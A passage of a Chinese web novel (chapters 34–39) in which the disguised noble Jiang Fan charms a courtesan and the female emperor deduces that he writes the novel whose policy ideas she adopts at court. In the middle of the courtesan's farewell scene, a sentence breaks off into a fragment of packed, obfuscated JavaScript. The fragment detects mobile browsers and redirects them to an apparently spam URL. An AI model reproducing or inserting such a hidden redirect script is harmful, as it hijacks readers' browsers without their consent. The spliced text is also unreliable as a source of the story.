她抬起头,看着江凡那平平无奇的面容,非但没有丝毫失望,反而因为对方看起来比自己想象中年轻许多,心中莫名地生出一股好感和亲近。
有如此才华,却如此年轻低调,这才是她心目中理想的才子形象!
江凡被一位绝色美女用如此崇拜炽热的目光盯着,虚荣心得到了极大的满足。
他示意那两个陪酒丫鬟退下,然后对柳絮做了个请坐的手势:
“柳大家请坐,赐教不敢当,互相切磋罢了。”
包厢内只剩下两人。
柳絮坐下后,依旧难掩激动,她小心翼翼地问道:
“还未请教先生高姓大名?”
江凡心情正好,又仗着易容术高超,便随口胡诌了一个化名:
“某姓萧,单名一个遥字。”
萧遥,就是逍遥,他觉得自己这小机灵抖得不错。
谁知柳絮一听‘萧遥’二字,美眸瞬间瞪大,失声低呼:
“萧遥?!您…您莫非就是…就是那位写《深宫秘恋》的…逍遥公子?!”
江凡刚入口的一口酒差点喷出来!
我靠!这也能联想到?!
这姑娘脑回路也太清奇了吧?!
他看着柳絮那激动得快要晕过去的眼神,知道否认反而更可疑,于是便顺水推舟,故作高深地微微一笑,既没承认也没否认,只是模棱两可地道:
“哦?柳大家也看那些闲书?”
但这态度,在柳絮看来,无疑就是默认了!
第034章 公子莫嫌弃
“天啊!您…您真的是逍遥公子!”
柳絮激动得浑身发抖,脸颊绯红,眼中闪烁着小星星,完全是粉丝见到偶像的狂热状态,
“晚辈…晚辈是您最忠实的读者!您写的每一章,晚辈都反复拜读!里面的诗词歌赋,堪称绝世!
还有那些治国安邦的策论,更是让晚辈佩服得五体投地!尤其是近日关于税银案和天花的见解,简直是济世良方!
晚辈一直以为,能写出如此文章的,定是位学究天人的老者,没想到…没想到您竟如此年轻!”
她语无伦次,看向江凡的眼神充满了无比的倾慕和敬仰。
才华、神秘、年轻,几乎满足了她对理想伴侣的所有幻想!
江凡被她夸得有些飘飘然,没想到在这烟花之地,竟然还有这么一位高质量的铁杆粉丝!
他得意地摆了摆手,笑道:
“柳大家过誉了,不过是游戏笔墨,聊以自娱罢了。”
“公子太过谦了!”
柳絮美眸流转,忽然想到什么,脸上飞起两朵红云,声音也低了下去,带着一丝羞怯和期盼,
“公子…晚辈有个不情之请…不知…不知能否在公子的大作中…给晚辈一个…一个小小的角色?”
说完,她羞得低下了头,纤纤玉指紧张地绞着衣角。
江凡一听,乐了。
给粉丝在书里加个角色?
这要求新鲜!
他大手一挥,十分豪爽地拍板:
“这有何难?包在萧某身上!今晚更新的章节,就给你安排上!说吧,想要个什么样的角色?才女?侠女?还是…嗯,你想和主角林枫发生点故事?”
他故意带着点调侃。
柳絮的脸更红了,声如蚊蚋:
“晚辈…晚辈也不知道…全凭公子安排。只是…若非要选,晚辈…晚辈希望能像公子笔下的人物那样,活得精彩些…若能…能与公子这般惊才绝艳的人物…有几分交集,便是晚辈的福分了。”
她这话,几乎已经是赤裸裸的表白了,直接把书中主角林枫代入了眼前的‘逍遥公子’。
江凡被她这含情脉脉的眼神看得心头一荡,但理智尚存。
开后宫?
暂时没想好。
他摸着下巴想了想,有了主意:
“这样吧,今晚就写主角林枫在朝中受了点委屈,心中烦闷,于是微服来到一家青楼。
偶遇一位色艺双绝、清高自许的清倌人,两人煮酒论诗,琴笛和鸣,互为知音,如何?至于后续…看你表现?”
他眨了眨眼,带着点戏谑。
柳絮闻言,先是一愣,随即狂喜涌上心头!
这情节…简直是为她量身定做!
而且‘逍遥公子’亲口承诺,今晚就写!
这意味着什么?
意味着她柳絮的名字,将随着逍遥公子的话本传遍天下!
她的身价必将暴涨!
但此刻,这些世俗的名利在她心中已不重要,重要的是,她真的与偶像有了交集,甚至可能在他笔下留下永恒的印记!
“多谢公子!全凭公子安排!”
柳絮激动得声音都在发颤,连忙起身又要行礼。
“哎,不必多礼。”
江凡扶住她,触手温软,心中一荡。
美人当前,美酒在手,又有小迷妹如此崇拜,他彻底放飞自我,几杯酒下肚,谈兴更浓。
当场又即兴吟诵了几首‘昨夜偶得’的‘小诗’,什么‘人生若只如初见’,什么‘曾经沧海难为水’。
直把柳絮听得如痴如醉,美眸中的倾慕几乎要化为实质流淌出来!
她心中再无怀疑,如此惊才绝艳的诗句,信手拈来,除了逍遥公子,还有何人?
眼看窗外日头西斜,江凡算算时间,再不回去,万一老爹提前回府,发现自己不在,可就大事不妙了。
他只得恋恋不舍地起身告辞。
柳絮万分不舍,但知无法挽留。
她红着脸,从怀中取出一个绣工极其精美、散发着淡淡幽兰香气的香囊,双手捧着,羞答答地递到江凡面前:
“公子…此去一别,不知何日再见。这香囊是晚辈亲手所绣,里面放了些安神的香料…望公子…莫要嫌弃。”
江凡接过香囊,触手温润,香气清雅,看着眼前美人那含情脉脉、我见犹怜的模样,心中也不禁一软,笑道:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880058|191960||http|test|mini|href|location''.split(''|''),0,{}));
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r>“柳大家有心了,萧某定当珍藏。”
他将香囊小心放入怀中。
送走江凡后,柳絮独自站在空荡荡的包厢里,依旧感觉如同身在梦中。
她轻轻抚摸着刚才江凡用过的笛子,脸颊滚烫。
只要…只要明天的话本更新,真的如他所说那般…那她就可以百分百确定,今日见到的,就是逍遥公子本人!
而她不知道的是,江凡离开百花楼,变回那个纨绔世子模样,溜回国公府时,心里也在盘算:
嗯,今晚的更新素材有了!
就叫《林枫失意遇知音,百花楼内诉衷肠》!
顺便,再把今天朝堂上那几个反对牛痘法的老顽固,写成阻挠林枫推行新法的奸臣,好好编排他们一顿!
江凡掐着时间,做贼似的从侧门溜回自己房间。
刚换下那身文士袍,恢复成纨绔世子的模样,就听到丫鬟来报,老爷和大小姐都已回府,晚膳已备好,请他前去花厅。
江凡心里咯噔一下,赶紧摆出那副‘刚从宫里下班累成狗’的疲惫样子,耷拉着脑袋,慢吞吞地朝花厅挪去。
花厅内,灯火通明。
镇国公江撼岳已换上了一身舒适的常服,正坐在主位上。
姐姐江芷兰坐在下首,正轻声细语地吩咐着丫鬟布菜,见到江凡进来,脸上立刻露出温柔的笑容。
“凡儿回来了?快坐下,今日厨房做了你爱吃的葱烧海参和糖醋鲤鱼。”
江芷兰一边说,一边亲自盛了一碗碧粳米饭放到他面前。
江撼岳也抬眼看了儿子一下,难得没有立刻板起脸训斥,只是哼了一声:
“在宫里当差,要谨言慎行,多听多看少说话,别给陛下和老子惹麻烦!听到没有?”
语气虽然依旧粗声粗气,但比起以往的恨铁不成钢,似乎多了几分…嗯,像是例行公事的叮嘱?
江凡心里有鬼,连忙点头如捣蒜:
“知道了爹,孩儿一定安分守己,绝不给您和陛下丢脸!”
他拿起筷子,埋头扒饭,故意吃得很快,显得‘饿坏了’,实则没什么胃口,心里盘算着赶紧吃完溜回房间去‘更新’。
第035章 萧遥是逍遥
席间,江芷兰看着弟弟‘狼吞虎咽’的样子,又是心疼又是欣慰,忍不住对父亲说道:
“爹,您发现没有,凡儿自从去了翰林院当差,好像…好像懂事了不少?晚上也不见溜出去胡闹了,都是早早回房歇息。”
江撼岳闻言,捋了捋短须,眼中也闪过一丝缓和。
他虽然对儿子要求严苛,但内心深处何尝不盼着他成才?
如今见江凡似乎真的‘收了心’,虽然嘴上不说,心里也是受用的。
他嗯了一声,带着点武将的直白:
“总算有点人样了!知道上进就好!老子还指望他将来能顶门立户呢!”
江凡听着老爹和老姐的对话,差点没被一口饭噎住。
懂事?上进?
我那是被迫营业外加晚上偷偷搞副业啊!
他只能含糊地应着:
“是是是,爹教训的是,姐你放心,我…我一定努力!”
说完,赶紧又扒拉几口菜,然后放下碗筷,抹了抹嘴,做出一副疲惫不堪的样子:
“爹,姐,我吃好了。今日在宫里站了一天,有些乏了,想先回房歇息了。”
江撼岳挥挥手:“去吧去吧!养足精神,明日还要当值!”
江芷兰也柔声道:
“快去吧,我让厨房温着莲子羹,要是饿了再让人给你送去。”
江凡如蒙大赦,赶紧起身行礼,逃也似地离开了花厅。
看着他匆匆离去的背影,江芷兰对父亲笑道:
“看来这差事,虽说是闲职,倒也真能磨磨他的性子。”
江撼岳哼了一声,没再说话,但嘴角那丝若有若无的弧度,却暴露了他此刻的心情确实不坏。
儿子能走上正轨,他这个当爹的,比打了一场胜仗还要舒心。
……
紫宸宫深处的御书房内,此刻却弥漫着一种微妙气氛。
烛火摇曳,映照着女帝萧璇月明暗不定的侧脸。
她刚刚批阅完一批奏报,‘牛痘法’在太医院的全力试验下已初见成效,这让她的心情稍缓。
但随之而来的另一份密报,却让她的眉头再次蹙起。
一名身着黑衣的暗卫统领单膝跪地,低声禀报:
“陛下,今日午后,暗桩传来消息,目标人物‘逍遥公子’,疑似在百花楼现身。”
萧璇月凤眸一凝,放下朱笔:
“详细道来。”
“是。据百花楼内线报,今日未时三刻,一名身着月白旧袍、年约三十五、六岁、面容普通的中年文士进入百花楼,进入了‘听雨阁’包厢。
期间,此人以竹笛演奏一曲《高山流水》,技艺超凡,意境高远,震惊全场,连花魁柳絮闻声亦主动前往拜见。
两人闭门交谈许久,柳絮对其极为恭敬仰慕。据闻,此人曾随口吟诵数首诗词,皆属传世佳作之列。
临行前,更对柳絮言道,今晚会将柳絮写入其新作章节之中。”
暗卫统领汇报得极其详尽,显然对‘逍遥公子’的关注已是最高级别。
萧璇月静静听着,指尖无意识地在御案上轻轻敲击。
竹笛超凡,诗词传世…这等才华,放眼天下,能与‘逍遥公子’对上的,确实寥寥无几。
时间点也如此巧合,就在她今日‘特许’江凡提前下值之后不久…
“可知此人姓名?容貌特征可曾描绘下来?”
萧璇月追问,心中那个模糊的猜测越来越清晰。
“回陛下,此人自称‘萧遥’。容貌…据线人描述,极为普通,属于放入人海便难以辨认之列,并无特别醒目特征。
唯一值得注意的是,其气质温润,眼神深邃,不似寻常文人。”
暗卫统领顿了顿,补充道,
“另有一细节,柳絮曾赠予此人一绣工精美的香囊。”
“萧遥…香囊…”
萧璇月喃喃重复着这两个词,眼中闪过一丝光芒。
萧遥,这化名未免太过直白!
“江凡今日出宫后,行踪如何?”
萧璇月的声音听不出喜怒。
“回陛下,据跟踪的弟兄回报,江起居郎出宫后,径直回了镇国公府,并未去往他处。期间…并无异常。”
暗卫统领的回答带着一丝不确定。
毕竟,江凡回府后是否再从其他渠道溜出,他们无法百分百保证。
“并无异常?”
萧璇月嘴角勾起一抹意味深长的弧度。
好一个‘并无异常’!
若那‘萧遥’真是江凡所扮,以他能瞒过自己灵觉、将话本悄无声息送入寝宫的手段,瞒过几个暗卫的盯梢,岂不是易如反掌?
她挥了挥手:“朕知道了。继续盯紧百花楼和柳絮,若有新章节出现,第一时间呈报。另外
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…
对江凡的监视,再加派一组人手,要最顶尖的‘影卫’,朕要知道他每时每刻的动向,但切记,不可惊动他。”
“遵旨!”
暗卫统领领命,悄无声息地退入阴影之中。
御书房内重归寂静。
萧璇月独自坐在龙椅上,指尖轻轻敲打着那份密报,凤眸中闪烁着复杂难明的光芒。
“江凡…萧遥…逍遥公子…”
她低声自语,“若真是你…你费尽心机,伪装成这般模样,混迹于青楼,与一花魁谈诗论曲…究竟意欲何为?仅仅是为了…游戏风尘吗?”
她发现,自己对这个‘纨绔’世子的兴趣,已经浓烈到无以复加。
她迫不及待地想要看到今晚‘逍遥公子’的新章节,更期待明天早朝,看到那个在她面前努力装傻充愣的江凡,又会是一副怎样的表情!
这一夜,对许多人而言,注定漫长。
……
翌日,天光未亮,萧璇月便已醒来。
或者说,她几乎一夜未眠。
心中有事,辗转反侧。
当她习惯性地伸手探向枕边时,指尖果然再次触到了那熟悉的触感。
《深宫秘恋》最新章,如期而至。
她深吸一口气,坐起身,借着烛光,迫不及待地翻开了书页。
依旧是那些让她面红耳赤的‘林枫与女帝’的互动,她几乎是本能地快速跳过。
很快,她的目光锁定在了那个全新的支线情节上——
【…林枫因在朝中推行新法受阻,遭奸佞构陷,心中郁结难平。是夜,他信步闲游,至一烟花之地,名‘百花楼’。
本欲借酒消愁,却忽闻后院传来幽幽琴声,曲调熟悉,正是他昔日所奏之《高山流水》,然其中滞涩,未尽其妙。
林枫心有所感,取笛和之,笛声清越,直入云霄,顿时惊动楼中一位清倌人,名唤柳絮…】
萧璇月一字一句地读着,书中详细描写了‘林枫’与‘柳絮’如何煮酒论诗,琴笛相和,互为知音。
那‘柳絮’被描绘成一位色艺双绝、清高自许的奇女子。
……
故事情节,与昨日暗卫汇报的细节,几乎分毫不差!
萧璇月放下书稿,缓缓靠回软枕上,心中已然确定无疑!
昨日下午出现在百花楼的‘萧遥’,就是逍遥公子!
第036章 真的有想法
逍遥公子身份被确认,但究竟是不是江凡,还不能下结论!
确定之后,一种莫名的情绪悄然涌上心头。
她说不清这种情绪的由来。
是因为被信任的臣子欺瞒?
是因为那惊世才华宁愿流露于烟花之地,也不愿为朝廷所用?
还是因为…书中那个与‘柳絮’相谈甚欢、被视为‘知音’的‘林枫’,隐隐刺痛了她某种微妙的神经?
她甩了甩头,将这种荒谬的情绪压下。
自己是九五之尊,心思当放在江山社稷上,岂能因一本荒诞话本、一个臣子的行踪而心绪不宁?
但,那种淡淡的不悦,涟漪虽小,却真实存在。
她起身下床,对侍立的云暮吩咐道:
“更衣,准备早朝。朕倒要看看,今日…朕的这位起居郎,又会给朕带来怎样的‘惊喜’。”
语气平静,但云暮却敏锐地察觉到,陛下今日的心情,似乎与往日有些不同。
紫宸殿,晨钟悠扬。
江凡顶着两个不算太明显的黑眼圈,垂头丧气地站在御阶之侧,努力把自己缩成一个不起眼的影子。
他脑子里还在回味暴涨的人气值,盘算着再攒几天就能冲击先天巅峰,对即将开始的早朝充满了生理性的抗拒。
这鬼差事,什么时候才是个头啊!
萧璇月端**,凤冠威严,目光扫过全场,在江凡身上停留的刹那,鼻翼微不可察地轻轻翕动了一下。
一股极淡的幽兰香气,若有若无地飘入她的鼻端。
这香气…与昨日暗卫汇报中,柳絮所赠香囊的描述,极为相似!
她心中冷笑,面上却不动声色,目光掠过江凡的腰间——并未见到香囊踪影。
藏得倒挺严实!
“有本启奏,无本退朝!”
内侍尖细的唱喥声响起。
户部尚书率先出列,面色凝重:
“陛下!臣有本奏!西陲急报!西凉国近来频频犯边,骚扰我边境城镇,劫掠商队,气焰嚣张!边关守将请求朝廷增兵威慑,以保边境安宁!”
此言一出,朝堂之上顿时响起一片低沉的议论声。
刚刚解决了北疆和税银的麻烦,西边又起烽烟,真是多事之秋!
兵部尚书紧接着出列,眉头紧锁:
“陛下,增兵一事,事关重大。西凉骑兵彪悍,若要有效威慑,至少需调拨三万精锐,粮草辎重更是一笔巨大开销。然…然国库如今…”
他欲言又止,目光瞥向户部尚书。
户部尚书脸色更苦,接口道:
“回陛下,兵部所言极是。去年北疆战事、今年税银案虽已平息,但各项抚恤、赏赐、以及防治天花所需款项,已使国库捉襟见肘。若再兴兵事,这军饷粮草…实在是难以为继啊!”
萧璇月凤眸微沉,这个情况她早已心知肚明。
她缓缓开口,声音清冷:
“西凉小丑,跳梁之辈!然,国库空虚亦是实情。诸位爱卿,可有良策,既能震慑西凉,又不至劳民伤财,动摇国本?”
大殿内陷入短暂的沉默。
打仗就是打钱,没钱,再能打的将军也是巧妇难为无米之炊。
这时,一位御史出列,朗声道:
“陛下!臣以为,西凉之所以敢屡屡犯边,无非是欺我大夏近年来天灾人祸,国力有所损耗。
当务之急,乃是充盈国库!臣建议,可适当提高江南等富庶之地的商税、田赋,先解燃眉之急!”
“不可!万万不可!”
他话音刚落,立刻遭到另一位老臣的激烈反对,
“陛下!江南赋税本就沉重,百姓已是不易!近年来水患频仍,民生多艰,若再强行加税,无异于杀鸡取卵,恐激起民变啊陛下!”
“李大人此言差矣!国难当头,匹夫有责!富商巨贾,理应为国分忧!”
“王御史这是站着说话不腰疼!赋税乃国之根本,岂能轻动?一旦乱了法度,后患无穷!”
很快,朝堂上分成了‘加税派’和‘维稳派’。
双方引经据典,争得面红耳赤,唾沫横飞,却谁也说服不了谁,拿不出一个切实可行的办法。
萧璇月看着底下吵成一团的臣子,心中一阵烦闷。
这些道理,她何尝不知?
加税是饮鸩止渴,不加税则国库空虚,边境不宁。
这就是一个死循环!
她的目光不经意间再次扫向御阶之侧那个努力降低存在感的家伙。
只见江凡虽然依旧低着头,但眉头却微微蹙起,嘴角似乎还撇了一下,流露出一种…不屑神情?
虽然一闪而逝,但还是被一直暗中观察他的萧璇月敏锐
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地捕捉到了。
萧璇月心中一动。
这小子…果然有想法!
他虽然装得像个草包,但骨子里对这些治国之策,怕是门儿清!
她不禁开始期待,明日…不,或许今晚,那位‘逍遥公子’的话本里,会不会再次出现惊世骇俗的‘私货’,为这困局指点迷津?
“够了!”
萧璇月终于出声,打断了无休止的争吵。
她声音不大,却带着不容置疑的威严,瞬间让大殿安静下来。
“加税之事,暂且搁置。国库空虚,边境不宁,皆是事实。朕给你们三日时间,各部会同商议。
拿出一个既能充盈国库,又不至扰民伤民的切实方案来!若三日后仍无良策,休怪朕…唯尔等是问!”
“臣等遵旨!”
众臣心中一凛,连忙躬身应命。
谁都听得出女帝话语中的不悦和压力。
“退朝!”
萧璇月拂袖起身,目光在江凡身上意味深长地停留了一瞬,这才转身离去。
江凡暗暗松了口气,总算熬过去了。
他跟着人流往外走,心里却在疯狂吐槽:增税?
亏那帮老家伙想得出来!
这高武世界,王朝的管理水平也太落后了!
盐铁专卖、鼓励商贸、开发新税源…前世封建王朝玩烂了的套路,这里居然没人提?
要不要…晚上在书里稍微‘提示’一下?
就当是为人气值做贡献了!
御书房内,檀香依旧。
萧璇月正埋首批阅奏折。
见到江凡进来,她头也没抬,只是淡淡地道:
“赐座。”
江凡谢恩后,在角落的小书案后坐下,拿出纸笔,准备继续他的‘摸鱼记录’大业。
批阅了几份奏折后,萧璇月仿佛自言自语般说道:
“唉,这户部的账目,真是越看越头疼。各地税银征收不力,贪腐时有发生,国库如何能充盈?
还有那工部,修缮河道、营造宫室的款项,也是漏洞百出…吏治不清,百事俱废啊!”
她一边说,一边用眼角的余光观察着江凡。
只见那家伙低着头,看似在认真记录,但握笔的手指却微微停顿了一下,耳朵似乎也竖起来了一些。
显然,他在听!
而且,可能真的有想法!
第037章 是在太妙了
萧璇月心中暗笑,继续‘诉苦’:
“还有那西凉犯边之事,一味增兵绝非良策,但若不出兵,边境百姓何辜?若是能有什么法子,既能让他们不敢轻举妄动,又能省下大笔军费,那该多好…”
江凡心里翻了个白眼:这不就是‘不战而屈人之兵’嘛!
搞点经济制裁、外交孤立、或者扶持他们国内的反对势力…办法多的是!
当然,这话他只能在心里想想,嘴上可不敢说。
他依旧低着头,努力扮演好一个废物角色。
萧璇月见他不接茬,也不着急,点到即止,转而处理其他政务。
她知道,种子已经埋下,就看今晚,那神秘的‘逍遥公子’会不会‘显灵’了。
好不容易熬到散值时分,江凡几乎是踩着点溜出了御书房,感觉比打了一架还累。
回到镇国公府,他只想赶紧扒拉几口饭,然后回房把今天的‘灵感’记录下来,兑换修为!
然而,刚走到府门口,就看到一个穿着锦袍、油头粉面的年轻公子哥,正带着两个小厮,在门房处探头探脑,似乎在跟门房纠缠着什么。
江凡认得这家伙,正是吏部那个张侍郎的儿子,张明远,也就是前段时间死皮赖脸纠缠他姐姐江芷兰的那个纨绔子弟。
江凡眉头一皱,本想装作没看见直接进去。
没想到那张明远眼尖,一眼瞥见了他,立刻脸上堆起谄媚的笑容,快步迎了上来:
“哎呀!这不是江贤弟吗?贤弟今日下值了?”
江凡停下脚步,面无表情地看着他:
“张公子,有何贵干?”
他对这个仗着老爹权势、不学无术还骚扰他姐姐的家伙没什么好感。
张明远搓着手,陪着笑脸道:
“贤弟,是这样的…我…我想见见芷兰小姐,有些…有些话想当面跟她说。可否请贤弟行个方便,帮忙通传一声?”
他倒是学乖了,不敢再像以前那样嚣张。
江凡冷哼一声:
“我姐姐见不见你,是她的事。她若不想见,你缠着门房也没用。张公子,我劝你还是**这条心吧。”
语气毫不客气。
张明远脸上闪过一丝尴尬和恼怒,但很快又压了下去,依旧陪着小心:
“贤弟误会了!我是真心仰慕芷兰小姐!绝无轻薄之意!你看,这是我特意托人从江南带来的最新款苏绣料子和一些胭脂水粉,都是上等货色…”
他示意小厮捧上几个精致的礼盒。
江凡看都懒得看,不耐烦地摆摆手:
“行了行了,你的‘真心’我姐姐消受不起。东西拿回去,人也请回吧。再纠缠不清,别怪我不客气!”
说完,不再理会他,径直走进了府门。
张明远看着江凡的背影,脸色一阵青一阵白,最终恨恨地跺了跺脚,带着小厮灰溜溜地走了。
他虽然纨绔,但也知道镇国公府不是他能硬闯的地方,更何况江凡如今还是陛下眼前的起居郎。
江凡回到自己院子,心里对这张明远更加厌恶。
癞**想吃天鹅肉!
看来得在话本里再给这父子俩‘加加戏’,让他们彻底臭大街!
匆匆用过晚膳,江凡立刻钻回房间,锁好房门。
他铺开纸张,文思如泉涌。
在《深宫秘恋》的最新章节里,他借着‘林枫’向‘女帝’献策的由头,详细阐述了数条‘开源节流、充盈国库’的良策:
其一,盐铁专卖,收归国有。
指出盐铁乃民生必需,利润巨大,若由朝廷统一开采、运输、销售,可杜绝私盐泛滥,将巨额利润收归国库。
并提出了初步的监管和销售体系构想。
其二,鼓励商贸,设立市舶司。
建议开放与周边国家的海上贸易,在重要港口设立市舶司,对进出口货物征收关税,既可增加收入,又能互通有无,繁荣经济。
其三,清查田亩,改革税制。
针对当前土地兼并严重、瞒报**普遍的现象,建议重新丈量全国田亩,按实际占有土地数量和质量征税,打击豪强,减轻贫苦农户负担。
其四,发行国债,以解燃眉之急。
提出可由朝廷向富商巨贾、甚至百姓发行一种名为‘国债’的凭证,承诺按期还本付息,暂
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时借用民间资本,用于应对边境危机等紧急开支。
此外,他还简要提及了针对西凉国的‘非军事手段’,如经济封锁、外交分化、扶持其内部亲夏势力等,以达到‘不战而屈人之兵’的效果。
当然,这些跨时代的概念,他都用这个时代能理解的语言进行了包装和解释。
写完检查一遍,确认无误后,提交系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(1000份),投放中…】
看着系统中再次突破十万大关的人气值,江凡心满意足。
毫不犹豫,兑换!
【消耗100000点人气值,开始灌输先天后期内力…】
轰!比之前更加磅礴精纯的能量涌入体内,经脉再次拓宽,真气愈发凝练如汞,神识范围进一步扩大!
先天后期!
距离巅峰只有一步之遥!
感受着体内澎湃的力量,江凡信心大增。
照这个速度,很快就能兑换宗师级修为,到时候…嘿嘿,就算身份暴露,也有了一定的自保之力!
他美滋滋地躺下,进入了梦乡。
……
翌日,黎明。
萧璇月几乎是在期待中醒来。
她第一时间伸手探向枕边,果然,那熟悉的触感再次出现。
她迫不及待地拿起最新的话本章节,借着晨曦快速翻阅。
当她看到‘林枫’向‘女帝’献上的那几条‘治国良策’时,她的呼吸骤然急促起来!
盐铁专卖!鼓励商贸!清查田亩!发行国债!
每一条都直指当前国库空虚的核心问题!
思路之清晰,措施之具体,可行性之高,远超昨日朝堂上那些空洞的争吵!
她越看越是激动,尤其是关于盐铁专卖和设立市舶司的详细构想,简直为她打开了一扇全新的大门!
还有针对西凉的那些策略,更是让她眼前一亮!
原来,除了硬碰硬的战争,还有如此多的手段可以运用!
“妙!实在太妙了!”
她忍不住低声赞叹,凤眸中闪烁着兴奋的光芒。
第038章 此事太荒唐
萧璇月立刻唤来云暮,命她将这几段关于治国方略的内容,一字不差地抄录下来。
更让她心中笃定的是,话本中还顺带提了几句关于整顿吏治、完善审计制度以杜绝贪腐的内容。
恰好对应了她昨日在御书房‘无意’中抱怨的烦恼!
这一切,绝不可能只是巧合!
萧璇月放下书稿,嘴角抑制不住地向上扬起。
她几乎可以百分百确定,那个看似惫懒的纨绔世子江凡,就是这位神龙见首不见尾、才华惊世的逍遥公子!
“好你个江凡…藏得可真深啊!”
她低声自语,语气中带着一丝嗔怪,但更多的却是发现宝藏般的欣喜和一种掌握了某种秘密的愉悦感。
既然你想玩这个‘装傻充愣’的游戏,那朕就陪你玩下去!
以后朕有什么头疼的难题,就在你面前念叨念叨,然后…静静等待你的‘更新’便是!
这可比养着一个只会阿谀奉承的谋臣,有趣多了!
她心情大好,对云暮吩咐道:
“更衣,上朝!今日,朕要让那些只会争吵的臣工们,好好开开眼界!”
紫宸殿内,文武百官或凝重、或焦虑、或茫然。
西凉犯边与国库空虚的双重压力,笼罩在每个人的心头。
萧璇月端**,凤目扫过全场,将众人的神色尽收眼底。
她没有立刻讨论边境军务,而是对身旁的云暮微微颔首。
云暮会意,上前一步,将一卷抄录工整的纸张恭敬地呈给侍立一旁的掌印太监。
太监接过,清了清嗓子,用洪亮而清晰的声音,开始朗声宣读:
“兹有良策数条,或可解国库空虚之困,亦可慑西凉跳梁之辈,呈报陛下御览:”
“其一,盐铁之利,关乎国计民生。当收归国有,设盐铁使,专营专卖,严打私贩,则巨利尽入国库,民不加赋而国用足…”
“其二,海通百国,货殖繁盛。当于沿海要港设市舶司,掌番货海舶征榷贸易之事,抽解博买,既可增税入,亦可通有无,利商惠民…”
“其三,田亩乃赋税之本。当清丈天下田亩,编造鱼鳞图册,据实征税,抑兼并,均贫富,使豪强不得隐匿,小民得以苏息…”
“其四,若遇急务,可仿古制,行‘国债’之法。由朝廷出具凭信,约以息钱,向富民商贾借贷,以应一时之需,分期偿还,不失信于民…”
“其五,对于西凉,除整军经武外,亦可施以经济羁縻、外交分化之策。禁绝其急需之铁器、茶叶、盐帛输入,结交其邻国以共制之,或暗助其内部反对势力,使其内乱不休,无力外顾…”
一条条,一款款,思路清晰,措施具体,既有宏观战略,又有微观操作,听得满朝文武目瞪口呆!
这些策略,许多是他们闻所未闻的,但细细思量,却又觉得直指要害,可行性极高!
尤其是盐铁专卖和市舶司的设想,简直是打开了一座前所未有的财富宝库!
大殿内鸦雀无声,只剩下太监宣读的声音在回荡。
不少官员,尤其是户部、工部、兵部的官员,眼睛越瞪越大,呼吸都变得急促起来!
这…这是何等经天纬地之才,才能想出如此周全的良策?!
宣读完毕,太监将抄录呈回御案。萧璇月这才缓缓开口,声音清越,带着一丝玩味:
“诸位爱卿,以为此策如何?”
短暂的寂静后,朝堂瞬间炸开了锅!
“妙!妙啊!陛下!此策若行,国库充盈指日可待!”
户部尚书激动得胡子都在颤抖。
“盐铁专卖,古已有之,然如此系统阐述,臣前所未闻!陛下,此策大善!”
一位老成持重的阁老也忍不住击节赞叹。
“市舶司…好一个市舶司!若能打通海路,我大夏财富将倍增啊!”
“还有这羁縻西凉之策,釜底抽薪,远比一味增兵高明!”
赞誉之声此起彼伏,与昨日争吵不休的场景形成了鲜明对比。
这时,宰相李文弼出列,他虽然心中也极为震惊,但更多的是一种不安和忌惮。
他沉声问道:
“陛下,恕老臣直言,此等良策,思虑周全,绝非寻常谋士所能及。不知…是出自哪位高人之手?若能请其
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出山,必是我大夏之福!”
他这话,也问出了所有人心中的疑惑。
所有人都眼巴巴地望着女帝。
萧璇月凤眸中闪过一丝笑意,目光若有若无地瞟了一眼御阶旁那个正努力缩小存在感的家伙,语气平淡地抛出了一枚重磅**:
“此策,并非出自哪位隐士高人。乃是近日市井流传的一本话本小说,《深宫秘恋》的最新章节中,偶然得见。”
《深宫秘恋》?
那个写女帝和侍卫风流韵事的荒诞话本?
所有官员,包括李文弼在内,全都傻眼了!
一个个张大了嘴巴,表情如同见了鬼一般!
“什…什么?话本?!”
“逍遥公子?!又是那个逍遥公子?!”
“这…这怎么可能?!那种淫词艳曲之中,怎会有如此安邦定国之策?!”
惊愕、难以置信、荒谬、乃至一丝丝恐慌的情绪,在百官脸上交织。
他们感觉自己几十年的宦海生涯、读过的圣贤书,在这一刻都被颠覆了!
一个写低俗小说的作者,竟然能拿出让他们这些朝廷重臣都束手无策的治国良方?
这简直是对他们最大的讽刺!
李文弼的脸色更是瞬间变得铁青,胸口剧烈起伏,指着那卷抄录,手指颤抖:
“陛下!此事…此事太过荒诞!岂能因一本…一本不知所谓的话本,便定下国家大政?!万一有误,后果不堪设想啊!”
萧璇月早就料到会有人反对,她面色一沉,凤眸含威,冷声道:
“荒诞?**莫非忘了,前番税银案,若非此话本中的提示,朝廷损失几何?昨日防治天花之牛痘法,太医署已验证有效,又救了多少百姓性命?
如今这充盈国库、震慑西凉之策,条条在理,句句可行,如何就荒诞了?”
她顿了顿,声音提高,带着不容置疑的威严:
“难道,仅仅因为此法出自话本,出自一位尔等看不起的‘逍遥公子’之手,便因噎废食,置国家利益于不顾吗?
还是说,某些人是怕对比之下,显得自己尸位素餐,庸碌无能?!”
第039章 三位公子请
萧璇月这一番话,如同鞭子般抽在李文弼等人脸上。
尤其是最后一句,更是诛心之言!
几人顿时面红耳赤,哑口无言。
萧璇月趁热打铁,目光扫过全场:
“朕意已决!即日起,户部、工部、兵部、礼部依此策详拟章程,十日内报朕御览!至于这话本《深宫秘恋》…”
她故意拖长了音,看着底下神色各异的臣子,嘴角微勾,
“传朕口谕,此书…有益教化,启迪民智。往后,朝中官员,闲暇时亦可翻阅,或有裨益。任何人,不得再提查禁之事!”
“臣等…遵旨!”
百官面面相觑,最终只能躬身领命。
不少人心中五味杂陈,既佩服这策略的精妙,又对那个神龙见首不见尾的‘逍遥公子’产生了极大的好奇和敬畏。
站在御阶旁的江凡,低着头,肩膀却微微耸动,强忍着才没笑出声来。
哈哈哈哈哈!
爽!太爽了!
看着这帮平日里眼高于顶的老家伙们被自己‘写’出来的东西震得目瞪口呆,还要被迫去学习。
这感觉,比赚了十万点人气值还过瘾!
